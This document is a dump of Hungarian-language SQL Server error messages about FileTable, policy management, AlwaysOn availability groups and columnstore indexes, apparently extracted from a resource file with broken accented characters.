Nem rhetQ el a kvetkezQ FileTable file_stream oszlopa:  %1!s! . A FileTable nem tmogatja a sorok verzikezelst. lltsa be a tranzakcis szintet READ COMMITTED SNAPSHOT vagy SNAPSHOT rtktQl eltrQ rtkre, illetve hasznlja a READCOMMITTEDLOCK tblamutatt.

Nem tilthat le a frtztt  %1!s!  index a kvetkezQ FileTable objektumon, mert engedlyezve van a FILETABLE_NAMESPACE:  %2!s! .

A  syspolicy_event_queue  vrakozsi sorral rendelkezQ prbeszd hibba tkztt: %1!s!.

A  syspolicy_event_queue  vrakozsi sorral rendelkezQ prbeszd befejezQdtt.

Egy esemny feldolgozsa sorn a(z) %1!s!. szm hiba merlt fel. A hibazenet: %2!s!.

lA kvetkezQ vgrehajtsi md rvnytelen: %1!s!.

hA(z)  %2!s!  %1!s! mr ltezik az adatbzisban.

A(z) %1!s! tulajdonsg szmra megadott rtk nem hasznlhat a kvetkezQ vgrehajtsi mddal: %2!s!.

lEgy %2!s! ltal hivatkozott %1!s! nem trlhetQ.

Egy  %3!s!  hivatkozik a kvetkezQre:  %2!s!  %1!s!. Nem vehetQ fel msik hivatkozs. 

HAz rtkkorltozs nem ltezik.

hA kvetkezQ hzirendcsoport nem ltezik: %1!s!.

rvnytelen clszqrQ: %1!s!. Csak az olyan szqrQk engedlyezettek, amelyek a kiszolgli csompont alatti legelsQ szintet korltozzk.

Az automatikus hzirendek nem hivatkozhatnak parancsprogramot tartalmaz felttelekre. 

`A kvetkezQ cltpus rvnytelen:  %1!s! .

`A kvetkezQ objektum rvnytelen:  %1!s! .

|A kvetkezQ konfigurcis bellts ismeretlen:  %1!s! .

rvnytelen rtktpus a kvetkezQ konfigurcis belltsnl:  %1!s! . Vrt rtktpus:  %2!s! .

`A hzirend-automatizls ki van kapcsolva.

%1!s!

%1!s!

%1!s!

%1!s!

A hzirendkezels nem engedlyezhetQ az SQL Server e kiadsn.

Hiba trtnt az objektumszerializlsi mqvelet kzben. Vizsglja meg az llapotot, ha tbbet szeretne megtudni errQl a hibrl.

A szerializlt adatfolyam egyik objektumnak verzija %1!s!, de az osztly tmogatott verzijbl ez a legmagasabb: %2!s!.

 Hiba a formzval a szerializls/deszerializls kzben. %1!s! elem feldolgozsra volt szksg, de csak %2!s! elem kerlt feldolgozsra.

Hiba trtnt az objektumszerializlsi mqvelet kzben. A kvetkezQ objektum szerializlsa sikertelen: %1!s!.

hA globlis zrolskezelQ slyos hibt szlelt.

XA szlQ-kiszolglcsoport nem ltezik.

A kiszolgl tpusa s a szlQ-kiszolglcsoport tpusa nem egyezik meg egymssal.

lA csompont nem helyezhetQ t sajt gyermekhez.

PA kiszolglcsoport nem tallhat.

rvnytelen NULL rtk lett tadva a @server_group_id paramter szmra.

rvnytelen NULL rtk lett tadva a @server_id paramter szmra.

pA megosztott regisztrlt kiszolgl nem tallhat.

|A megosztott rendszer-kiszolglcsoportok nem trlhetQk.

rvnytelen NULL rtk lett tadva a @server_type paramter szmra.

rvnytelen %1!s! rtk lett tadva a @server_id paramter szmra.

hA @server_name paramter nem lehet relatv nv.

Nem vehet fel megosztott regisztrlt kiszolglt ugyanazzal a nvvel, mint a konfigurcis kiszolgl.

\A THROW utastsban megadott %1!s!. hibaszm az rvnyes tartomnyon kvlre esik. Adjon meg egy, az rvnyes tartomnyon belli hibaszmot, 50000 s 2147483647 kztt. 

@Az tvitel verzijnak eltrse miatt nem ltesthetQ kapcsolat a kvetkezQ pldnyok kztt:  %1!s!  (azonost: [%2!s!]) s  %3!s!  (azonost: [%4!s!]).

`Az AlwaysOn rendelkezsre llsi csoportok tvitelkezelQjnek indtsa sikertelen volt. A hiba oka feltehetQleg az, hogy nem volt elegendQ szabad memria az zenetkzbestQ elindulsakor. Ebben az esetben ms belsQ feladatok sorn is hibk trtnhettek. Keresse meg a tovbbi hibazeneteket az SQL Server hibanapljban s a Windows hibanapljban. Ha valban kevs a szabad memria, dertse fel s hrtsa el a problma okt.

Sikertelen volt a csatlakozsi ksrlet a(z)  %1!s!  azonostj rendelkezsre llsi csoportban a(z)  %2!s!  azonostj msodpldnytl a kvetkezQ azonostj msodpldny fel:  %3!s! . Hiba: %4!s!, slyossg: %5!s!, llapot: %6!s!.

A rendelkezsre llsi csoportokra vonatkoz DDL-mqveletek csak akkor engedlyezettek, ha a fQadatbzist hasznlja. ElQszr futtassa a USE MASTER parancsot, majd prblja jbl vgrehajtani a rendelkezsre llsi csoportra vonatkoz DDL-parancsot.

A(z) %1!s! mqvelet sikertelen volt a(z)  %2!s!  rendelkezsre llsi msodpldny esetn, mert a biztonsgi mentsi priorits rtke az rvnyes tartomnyon kvl esik. Az rvnyes tartomny %3!s! s %4!s! kztt van, a hatrokat is belertve. lltsa be a biztonsgi mentsi prioritst egy e tartomnyon belli rtkre, majd prblja jbl elvgezni a mqveletet.

Nem sikerlt mdostani a(z)  %2!s!  rendelkezsre llsi csoportban levQ  %1!s!  rendelkezsre llsi msodpldny belltsait. A megadott rendelkezsre llsi csoport nem tartalmaz ilyen nevq rendelkezsre llsi msodpldnyt. GyQzQdjn meg a rendelkezsre llsi csoport s a rendelkezsre llsi msodpldny nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

0A(z) %1!s! mqvelet nem engedlyezett. A mqvelet megprblta mdostani a(z)  %2!s!  rendelkezsre llsi msodpldny konfigurcijt aszinkron vglegestsq rendelkezsre llsi mdra automatikus feladattvtellel, ez azonban rvnytelen konfigurci. Vagy lltsa t a feladattvteli mdot kzire, vagy a rendelkezsre llsi mdot szinkron vglegestsre, majd prblja jbl elvgezni a mqveletet.

A rendelkezsre llsi csoportok jelenlegi konfigurcija nem teszi lehetQv a kvetkezQ mqvelet elvgzst: %1!s!. A mqvelet eredmnye meghaladn a kvetkezQ rendelkezsre llsi csoportban maximlisan engedlyezett %2!s! szinkron vglegestsq rendelkezsre llsi msodpldnyt:  %3!s! . lltsa t az egyik ltezQ, szinkron vglegestsq msodpldnyt aszinkron vglegestsq rendelkezsre llsi mdra, majd prblja jbl elvgezni a mqveletet.

,A rendelkezsre llsi csoportok jelenlegi konfigurcija nem teszi lehetQv a kvetkezQ mqvelet elvgzst: %1!s!. A mqvelet eredmnye meghaladn a kvetkezQ rendelkezsre llsi csoportban maximlisan engedlyezett %2!s! automatikus feladattvteli clt:  %3!s! . lltsa t az egyik ltezQ, szinkron vglegestsq msodpldnyt kzi feladattvteli mdra, majd prblja jbl elvgezni a mqveletet.

A(z) %1!s! mqvelet sikertelen volt a kvetkezQ rendelkezsre llsi msodpldny esetn:  %2!s! . A munkamenet idQtllpsnek minimlis rtke %3!s!. lltsa be a munkamenet idQtllpst egy rvnyes rtkre, majd prblja jbl elvgezni a mqveletet.

TA(z) %1!s! mqvelet nem engedlyezett a(z)  %2!s!  rendelkezsre llsi msodpldny esetn, mert az automatikus feladattvteli md rvnytelen konfigurci egy SQL Server feladattvteli frtbeli pldnyon. lltsa t a feladattvteli mdot kzire, majd prblja jbl elvgezni a mqveletet.

 Az AlwaysOn rendelkezsre llsi csoportok szlkszlete nem tudott j munkavgzQ szlat indtani, mert nincs elg rendelkezsre ll munkavgzQ szl. Ez ronthatja az AlwaysOn rendelkezsre llsi csoportok teljestmnyt. Nvelje az engedlyezett szlak szmt a  max worker threads  konfigurcis bellts hasznlatval.

|A mqvelet feldolgozsa sikertelen volt. Az AlwaysOn rendelkezsre llsi csoportok msodpldny-kezelQje arra vr, hogy az lloms elindtsa a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtjt, hogy csatlakozhasson hozz. A helyi szmtgp esetleg nem frtcsompont, vagy a helyi frtcsompont nem online llapot. Ha a szmtgp frtcsompont, akkor vrja meg, amg kapcsoldik a frthz. Ha a szmtgp nem frtcsompont, vegye fel a szmtgpet egy WSFC-frtbe. Ezt kvetQen prblja jbl elvgezni a mqveletet.

A mqvelet feldolgozsa sikertelen volt. Az AlwaysOn rendelkezsre llsi csoportok msodpldny-kezelQje le van tiltva az SQL Server e pldnyn. Engedlyezze az AlwaysOn rendelkezsre llsi csoportokat az SQL Server KonfigurcikezelQ hasznlatval. Ezt kvetQen indtsa jra az SQL Server szolgltatst, majd prblja jbl elvgezni a jelenlegi mqveletet. Az AlwaysOn rendelkezsre llsi csoportok engedlyezsrQl s letiltsrl az SQL Server online knyvekben olvashat bQvebben.

A mqvelet feldolgozsa sikertelen volt. Az AlwaysOn rendelkezsre llsi csoportoknak nincs engedlye a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtjhez val hozzfrsre. Tiltsa le, majd engedlyezze jra az AlwaysOn rendelkezsre llsi csoportokat az SQL Server KonfigurcikezelQ hasznlatval. Ezt kvetQen indtsa jra az SQL Server szolgltatst, majd prblja jbl elvgezni a jelenlegi mqveletet. Az AlwaysOn rendelkezsre llsi csoportok engedlyezsrQl s letiltsrl az SQL Server online knyvekben olvashat bQvebben.

,%1!s! rendelkezsre llsi msodpldny nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . A rendelkezsre llsi csoport mr %3!s! msodpldnyt tartalmaz, s az egy rendelkezsre llsi csoporton bell tmogatott msodpldnyok maximlis szma %4!s!.

A mqvelet feldolgozsa sikertelen volt. Az AlwaysOn rendelkezsre llsi csoportok nem tudtk betlteni a szksges Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) kdtrat. GyQzQdjn meg arrl, hogy a szmtgp egy WSFC-frt csompontja. A szksges kdtri fggvnyek betltshez jra kell majd indtani az SQL Server-pldnyt.

@A mqvelet feldolgozsa sikertelen volt. Az SQL Server-pldny WOW64 mdban (32 bites Windows 64 bites Windows rendszeren) fut, amely nem tmogatja az AlwaysOn rendelkezsre llsi csoportokat. Teleptse jra az SQL Server natv 64 bites kiadst, s engedlyezze jra az AlwaysOn rendelkezsre llsi csoportokat. Ezt kvetQen indtsa jra az SQL Server szolgltatst, majd prblja jbl elvgezni a mqveletet. Az AlwaysOn rendelkezsre llsi csoportok engedlyezsrQl s letiltsrl az SQL Server online knyvekben olvashat bQvebben.

A mqvelet feldolgozsa sikertelen volt. Az AlwaysOn rendelkezsre llsi csoportok nincsenek elindtva, mert az SQL Server pldnya nem szolgltatsknt fut. Indtsa jra a kiszolglpldnyt szolgltatsknt, majd prblja jbl elvgezni a mqveletet.

Sikertelen volt a kvetkezQ rendelkezsre llsi csoport hibafeltteli szintjnek belltsra irnyul ksrlet:  %1!s! . A megadott szintrtk az rvnyes [%2!s!, %3!s!] tartomnyon kvl esik. Adja meg jbl a parancsot egy rvnyes hibafeltteli szintrtkkel.

PSikertelen volt a kvetkezQ rendelkezsre llsi csoport llapot-ellenQrzsi idQtllpsi rtknek belltsra irnyul ksrlet:  %1!s! . A megadott idQtllpsi rtk kevesebb, mint %2!s! milliszekundum. Adja meg jbl a parancsot egy rvnyes llapot-ellenQrzsi idQtllpsi rtkkel.

,A megadott szmtgpnv res karakterlnc, vagy hosszabb, mint %1!s! Unicode-karakter. Adja meg jbl a parancsot egy rvnyes szmtgpnvvel.

A megadott  %1!s!  kiszolglpldny-nv rvnytelen. Adja meg jbl a parancsot egy rvnyes pldnynvvel.

A vgpont megadott  %1!s!  URL-cme rvnytelen. Adja meg jbl a parancsot a helyes URL-cmmel. Egy rendelkezsre llsi msodpldny vgponti URL-cmnek megadsrl az SQL Server online knyvekben olvashat bQvebben.

Nem hozhat ltre %1!s! rendelkezsre llsi msodpldnyt tartalmaz rendelkezsre llsi csoport.	Az egy rendelkezsre llsi csoporton bell engedlyezett rendelkezsre llsi msodpldnyok maximlis szma %2!s!. Adja meg jbl a CREATE AVAILABILITY GROUP parancsot gy, hogy legalbb egy, de legfeljebb t rendelkezsre llsi msodpldnyt ad meg.

@A kvetkezQ adatbzisnv egynl tbbszr lett megadva:  %1!s! . Adja meg jbl a parancsot gy, hogy mindegyik adatbzisnv csak egyszer szerepeljen benne.

A kvetkezQ rendszernv egynl tbbszr lett megadva ezen utasts REPLICA ON zradkban:  %1!s! . Adja meg jbl a parancsot gy, hogy mindegyik msodpldnyhoz az SQL Server eltrQ pldnyt adja meg.

Nem lett megadva a vgpont URL-cme a kvetkezQ kiszolglpldny ltal futtatott rendelkezsre llsi msodpldnyhoz:  %1!s! . Adja meg jbl a parancsot gy, hogy szerepeljen benne az SQL Server e pldnynak vgponti URL-cme.

A(z) %1!s! rendelkezsre llsi csoporthoz megadott msodpldnyok egyike sem feleltethetQ meg az SQL Server azon pldnynak, amelyhez n most kapcsoldik. Adja meg jbl a parancsot gy, hogy ezt a kiszolglpldnyt adja meg a msodpldnyok egyiknek futtatshoz. Ez a msodpldny lesz a kiindulsi elsQdleges msodpldny. 

A(z)  %1!s!  adatbzis nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Az adatbzis nem ltezik ezen az SQL Server-pldnyon. GyQzQdjn meg az adatbzisnv helyessgrQl, majd prblja jbl elvgezni a mqveletet.

Sikertelen volt az ALTER DATABASE <adatbzisnv> SET HADR SUSPEND (vagy SET HADR RESUME) utasts vgrehajtsa a(z)  %2!s!  rendelkezsre llsi csoport  %1!s!  adatbzisra. A rendelkezsre llsi csoport nem tartalmazza a megadott adatbzist, vagy az adatbzis nem csatlakozott a rendelkezsre llsi csoporthoz, vagy az adatbzis mg nem indult el. Adja meg jbl a parancsot, miutn az adatbzis online llapotra vltott, s csatlakozott a rendelkezsre llsi csoporthoz.

A(z)  %1!s!  adatbzis nem csatlakoztathat a(z)  %2!s!  rendelkezsre llsi csoporthoz, s nem vlaszthat le arrl. Ez a mqvelet nem tmogatott a rendelkezsre llsi csoport elsQdleges msodpldnya esetn. 

DEz az ALTER DATABASE <adatbzisnv> SET HADR mqvelet nem hajthat vgre a kvetkezQ adatbzisra:  %1!s! . Az adatbzis mg nem lett csatlakoztatva rendelkezsre llsi csoporthoz. Prblja jbl elvgezni a mqveletet, miutn az adatbzis csatlakozott a rendelkezsre llsi csoporthoz.

 Nem sikerlt belltani az erQforrs  %1!s!  tulajdonsgt a kvetkezQ rendelkezsre llsi csoportnl:  %2!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt: %3!s!. A hiba oknak elhrtsa utn prblja jbl vgrehajtani az ALTER AVAILABILITY GROUP parancsot.

A(z)  %1!s!  adatbzis nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Az adatbzis jelenleg egy msik rendelkezsre llsi csoporthoz van csatlakoztatva. GyQzQdjn meg az adatbzisnv helyessgrQl, valamint arrl, hogy az adatbzis nincs csatlakoztatva rendelkezsre llsi csoporthoz, majd prblja jbl elvgezni a mqveletet.

A rendelkezsre llsi csoport ltrehozsa sikertelen volt. Nem lehetett rvnyesteni egy SQL Server-pldny nevt, mert a(z)  %1!s!  dinamikus csatols fggvnytr (DLL-fjl) nem volt megtallhat (Windows rendszerhiba: %2!s!). GyQzQdjn meg arrl, hogy a megadott kiszolglpldny ltezik. Ha ltezik, akkor esetleg hinyzik a DLL-fjl a kiszolglpldnyrl.

A rendelkezsre llsi csoport ltrehozsa sikertelen volt. Nem lehetett rvnyesteni egy SQL Server-pldny nevt, mert a(z)  %1!s!  dinamikus csatols fggvnytr (DLL-fjl) betltse sikertelen volt (Windows rendszerhiba: %2!s!).

tSikertelen volt egy  %1!s!  nevq rendszeradatbzis hozzadsa vagy csatlakoztatsa egy rendelkezsre llsi csoporthoz. Ehhez a mqvelethez csak felhasznli adatbzisokat adjon meg.

Az elsQdleges msodpldnnyal ltestett kapcsolat nem aktv. A parancs nem dolgozhat fel.

0Ez a parancs csak az elsQdleges msodpldnyon futtathat. Kapcsoldjon az elsQdleges msodpldnyhoz, s prblja jbl vgrehajtani a parancsot.

8A parancs csak egy msodlagos adatbzison futtathat. Kapcsoldjon a megfelelQ msodlagos msodpldnyhoz, s prblja jbl vgrehajtani a parancsot.

A kvetkezQ adatbzis nincs megfelelQ llapotban ahhoz, hogy az elsQdleges adatbziss vljon:  %1!s! . Vissza kell lltani a naplt az elQzQ elsQdleges msodpldnyrl, hogy ki lehessen lptetni az adatbzist az jrainicializlsi llapotbl.

Hiba trtnt a rendelkezsre llsi csoport metaadatainak elrse sorn. Tvoltsa el ezt az adatbzist vagy msodpldnyt a rendelkezsre llsi csoportbl, majd konfigurlja jra a rendelkezsre llsi csoportot az adatbzis vagy msodpldny jbli hozzadshoz. Tovbbi informci az ALTER AVAILABILITY GROUP Transact-SQL utasts lersban olvashat az SQL Server online knyvekben.

A kvetkezQ adatbzis elindtsra irnyul ksrlet sikertelen volt, mert az adatbzis mr elindult, s online llapot:  %1!s! .

LTllptk a munkameneti idQkorlt rtkt a munkamenetben szereplQ msik rendelkezsre llsi msodpldny vlaszra val vrakozs kzben. Az adott msodpldny vagy a hlzat esetleg nem mqkdik, illetve helytelen lehet a parancs konfigurcija. Ha a partner fut, s lthat a hlzaton keresztl, akkor prblja megismtelni a parancs vgrehajtst helyesen konfigurlt partnerkapcsolati paramterek hasznlatval.

 A rendszer az AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos kldsi hibt (hibakd: 0x%1!s!,  NOT OK ) adott vissza egy zenetnek a kvetkezQ azonostj adatbzisnak val elkldsekor: %2!s!. Ha a partner fut, s lthat a hlzaton keresztl, akkor prblja megismtelni a parancs vgrehajtst helyesen konfigurlt partnerkapcsolati paramterek hasznlatval. 

 A kvetkezQ adatbzis mr rszt vesz egy msik rendelkezsre llsi csoportban:  %1!s! . 

H Egy adatbzis-helyrelltsi ksrlet sorn a rendszer nem tallt rendelkezsre llsi adatbzis-kezelQt a(z) %1!s! azonostj adatbzishoz (rendelkezsre llsi csoport azonostja: %2!s!, csoportadatbzis azonostja: %3!s!). A helyrellts meg lett szaktva. A hiba legvalsznqbb oka az, hogy nem fut a rendelkezsre llsi csoport kezelQje, de metaadathiba is okozhatta a problmt. GyQzQdjn meg arrl, hogy el van indtva a rendelkezsre llsi csoport kezelQje s a WSFC-frt, majd prblja megismtelni a helyrelltsi mqveletet.

 Sikertelen volt egy AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos mqvelet elvgzsre irnyul ksrlet a kvetkezQ rendszeradatbzison: %1!s!. Az AlwaysOn rendelkezsre llsi csoportok nem tmogatjk a rendszeradatbzisokat.

hA rendszer kihagyja a(z)  %1!s!  adatbzis alaprtelmezett indtst, mert az adatbzis egy rendelkezsre llsi csoporthoz tartozik (csoportazonost: %2!s!). A rendelkezsre llsi csoport indtja majd el az adatbzist. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

|A visszavonsi fzis sorn az elsQdleges msodpldnyhoz intzett egyik fggvnyhvs (%1!s!) vratlan llapotot (kd: %2!s!) adott vissza. Prblja megkeresni a hiba lehetsges okt az elsQdleges msodpldnyhoz tartoz SQL Server-hibanaplban. Ha hiba trtnt az elsQdleges adatbzisban, akkor esetleg fel kell fggesztenie a msodlagos adatbzist, ki kell javtania az elsQdleges adatbzist, majd folytatnia kell az adatbzis futtatst.

A(z)  %1!s!  msodlagos adatbzis szinkronizlsa meg lett szaktva, gy az adatbzis inkonzisztens llapotban maradt. Az adatbzis RESTORING (visszallts alatt) llapotra vlt. A helyrellts befejezshez s az adatbzis online llapotra hozshoz az elsQdleges adatbzis aktulis napl-biztonsgimsolatainak hasznlatval lltsa vissza a kvetkezQ naplsorszm utni naplrekordokat: %2!s!. Azt is megprblhatja, hogy eldobja ezt a msodlagos adatbzist, s kszt egy jat oly mdon, hogy visszalltja az elsQdleges adatbzis egy teljes biztonsgi msolatt, majd visszalltja az sszes ksQbbi napl-biztonsgimsolatot is.

A(z)  %1!s!  msodlagos adatbzis szinkronizlsa meg lett szaktva, gy az adatbzis inkonzisztens llapotban maradt. Az adatbzis SUSPECT (gyans) jellssel lesz elltva. Az adatbzis konzisztens llapotra hozshoz lltsa vissza azt egy tiszta biztonsgi msolatbl, majd lltsa vissza az sszes ksQbbi napl-biztonsgimsolatot is.

hVagy rvnytelen paramterek lettek megadva a sys.sp_availability_group_command_internal trolt eljrshoz, vagy a felhasznlnak nincs engedlye ezen eljrs vgrehajtsra.

Egy korbbi RESTORE WITH CONTINUE_AFTER_ERROR mqvelet vagy egy SUSPECT (gyans) llapotban vgrehajtott, egy rendelkezsre llsi csoportrl val levlaszts potencilisan srlt llapotban hagyta a kvetkezQ adatbzist:  %1!s! . Az adatbzis ebben az llapotban nem csatlakoztathat. lltsa vissza az adatbzist, majd prblja megismtelni a csatlakoztatsi mqveletet.

Nem sikerlt hozzrendelni s betemezni egy AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos feladatot a kvetkezQ adatbzishoz:  %1!s! . Az adatbzis szinkronizlsnak folytatshoz esetleg kzi beavatkozsra lehet szksg. Ha a problma tartsan fennll, esetleg jra kell indtania az SQL Server helyi pldnyt.

Folyamatban van a msodlagos szerepkrben mqkdQ  %1!s!  rendelkezsre llsi adatbzis jraindtsa, az aktulis elsQdleges adatbzissal val jraszinkronizls rdekben. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az elsQdleges adatbzis visszautastotta a(z)  %1!s!  adatbzisnak a rendelkezsre llsi csoporthoz val csatlakoztatsra irnyul ksrletet a kvetkezQ hibval:  %2!s! . Tovbbi informci az elsQdleges msodpldny SQL Server-hibanapljban tallhat.

A(z)  %1!s!  adatbzis nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Az adatbzis mr csatlakoztatva van a megadott rendelkezsre llsi csoporthoz. GyQzQdjn meg az adatbzisnv helyessgrQl, valamint arrl, hogy az adatbzis nincs csatlakoztatva rendelkezsre llsi csoporthoz, majd prblja jbl elvgezni a mqveletet.

dA(z)  %1!s!  adatbzis nem tvolthat el a kvetkezQ rendelkezsre llsi csoportbl:  %2!s! . Az adatbzis nincs csatlakoztatva a megadott rendelkezsre llsi csoporthoz. GyQzQdjn meg az adatbzis s a rendelkezsre llsi csoport nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  rendelkezsre llsi msodpldny nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . A rendelkezsre llsi csoport mr tartalmaz egy ilyen nevq rendelkezsre llsi msodpldnyt. GyQzQdjn meg a rendelkezsre llsi msodpldny s a rendelkezsre llsi csoport nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  rendelkezsre llsi msodpldny nem tvolthat el a kvetkezQ rendelkezsre llsi csoportbl:  %2!s! . A rendelkezsre llsi csoport nem tartalmaz ilyen nevq rendelkezsre llsi msodpldnyt. GyQzQdjn meg a rendelkezsre llsi msodpldny nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  rendelkezsre llsi msodpldny nem tvolthat el a kvetkezQ rendelkezsre llsi csoportbl, mert ez a msodpldny az SQL Server helyi pldnyn tallhat:  %2!s! . Ha a helyi rendelkezsre llsi msodpldny egy msodlagos msodpldny, akkor kapcsoldjon az elsQdleges msodpldnyt jelenleg futtat kiszolglpldnyhoz, majd futtassa jbl a parancsot.

tAzonostva lett a(z) %1!s! helyrelltsi naplsorszm a kvetkezQ azonostj adatbzishoz: %2!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A rendszer a metaadatok kztt trolt %1!s! helyrelltsi naplsorszmot hasznlja a kvetkezQ azonostj adatbzishoz: %2!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  rendelkezsre llsi adatbzishoz tartoz, AlwaysOn rendelkezsre llsi csoportokra vonatkoz tvitel nem tudta kitmrteni a kvetkezQ naplsorszm naplblokkot: %2!s!. Ezt a hibt okozhatja egy srlt hlzati csomag vagy a tmrtsi verzi eltrse. A rendszer SUSPENDED (felfggesztett) llapotba lltotta az adatbzis-msodpldnyt. Folytassa a rendelkezsre llsi adatbzis futtatst. Ha a hiba jbl bekvetkezik, prblja felderteni a hiba alapvetQ okt.

A(z)  %1!s!  rendelkezsre llsi adatbzishoz tartoz, AlwaysOn rendelkezsre llsi csoportokra vonatkoz napl soron kvli naplblokkot kapott. A vrt naplsorszm a kvetkezQ volt: %2!s!. A kapott naplsorszm a kvetkezQ volt: %3!s!. A rendszer SUSPENDED (felfggesztett) llapotba lltotta az adatbzis-msodpldnyt. Folytassa a rendelkezsre llsi adatbzis futtatst. Ha a hiba jbl bekvetkezik, forduljon az gyfl-tmogatsi szolglathoz.

Nem sikerlt elkldeni a(z)  %1!s!  fjlra vonatkoz krelmet a helyi msodlagos adatbzishoz tartoz  %2!s!  elsQdleges adatbzisnak. A rendszer automatikusan megprblja folytatni az adatbzis futtatst.

Nem sikerlt megvrni a helyi msodlagos adatbzishoz tartoz  %1!s!  elsQdleges adatbzistl rkezett fjlkrelmek befejezQdst. A rendszer automatikusan megprblja folytatni az adatbzis futtatst.

BelsQ hiba trtnt, amikor a rendszer egy mqveletet prblt elvgezni a bQvtett helyrelltsi elgazsokon. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Hiba trtnt a bQvtett helyrelltsi elgazsoknak az elsQdleges msodpldnybl val beolvassakor. A bQvtett helyrelltsi elgazsok verme mdosult, mikzben a msodlagos msodpldny beolvasta azt. Prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  adatbzishoz tartoz napl biztonsgi mentse sikertelen volt egy msodlagos msodpldnyon, mert nem sikerlt szinkronizlsi pontot belltani az elsQdleges adatbzisban. Vagy nem lehetett zrolsokat szerezni az elsQdleges adatbzishoz, vagy az adatbzis nem a rendelkezsre llsi msodpldny rszeknt mqkdik. EllenQrizze az adatbzis llapott azon kiszolglpldny SQL Server-hibanapljban, amely futtatja a jelenlegi elsQdleges msodpldnyt. Ha az elsQdleges adatbzis rszt vesz a rendelkezsre llsi csoportban, prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  adatbzishoz tartoz napl biztonsgi mentse sikertelen volt egy msodlagos msodpldnyon, mert az elsQdleges adatbzistl kapott utols biztonsgi mentsi naplsorszm (0x%2!s!) nagyobb az aktulis helyi visszalltsi naplsorszmnl (0x%3!s!). Jelenleg egyetlen naplbejegyzs biztonsgi mentse sem szksges. KsQbb prblja jbl elvgezni a napl biztonsgi mentst. 

 A(z)  %1!s!  adatbzishoz tartoz napl biztonsgi mentse sikertelen volt egy msodlagos msodpldnyon, mert nem sikerlt vglegesteni az j biztonsgi mentsi informcit az elsQdleges adatbzisban. EllenQrizze az adatbzis llapott azon kiszolglpldny SQL Server-hibanapljban, amely futtatja a jelenlegi elsQdleges msodpldnyt. Ha az elsQdleges adatbzis rszt vesz a rendelkezsre llsi csoportban, prblja jbl elvgezni a mqveletet.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy oszloptrindex nem lehet egyedi. Hozza ltre az oszloptrindexet a UNIQUE kulcssz nlkl, vagy hozzon ltre egyedi indexet a COLUMNSTORE kulcsszval.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a rendezsi sorrend megadsa (ASC vagy DESC) oszloptrindex ltrehozsakor nem engedlyezett. Hozza ltre az oszloptrindexet a rendezsi sorrend megadsa nlkl.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy nzeten nem hozhat ltre oszloptrindex. Fontolja meg egy oszloptrindex ltrehozst az alaptbln, illetve egy index ltrehozst a nzeten a COLUMNSTORE kulcssz nlkl.

\A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a(z)  %2!s!  tbla  %1!s!  oszlopa szmtott oszlop, s szmtott oszlopon nem hozhat ltre oszloptrindex. Fontolja meg egy nem frtztt oszloptrindex ltrehozst az oszlopok olyan rszhalmazn, amelyben nem szerepel az adott oszlop.

`A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy oszloptrindex nem lehet szqrt index. Fontolja meg egy oszloptrindex ltrehozst a prediktumszqrQ nlkl.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert ritka oszlopon nem hozhat ltre oszloptrindex. Fontolja meg egy nem frtztt oszloptrindex ltrehozst az oszlopok olyan rszhalmazn, amelyben nem szerepel ritka oszlop.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy oszloptrindexben nem szerepelhet tartalmazott oszlop. Hozza ltre az oszloptrindexet a kvnt oszlopokon, tartalmazott oszlopok megadsa nlkl.

DA CREATE INDEX utasts vgrehajtsa sikertelen volt, mert filestream-adatokat tartalmaz oszlopon nem hozhat ltre oszloptrindex. Fontolja meg egy nem frtztt oszloptrindex ltrehozst az oszlopok olyan rszhalmazn, amelyben nem szerepel filestream-adatokat tartalmaz oszlop.

DA CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a FILESTREAM_ON bellts megadsa oszloptrindex ltrehozsakor nem engedlyezett. Fontolja meg egy oszloptrindex ltrehozst filestream-adatokat nem tartalmaz oszlopokon, s hagyja el a FILESTREAM_ON bellts megadst.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert oszlophalmazon nem hozhat ltre oszloptrindex. Fontolja meg egy nem frtztt oszloptrindex ltrehozst a tblban levQ oszlopok olyan rszhalmazn, amelyben nem szerepel oszlophalmaz vagy ritka oszlop.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert az SQL Server e kiadsban nem hozhat ltre oszloptrindex. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

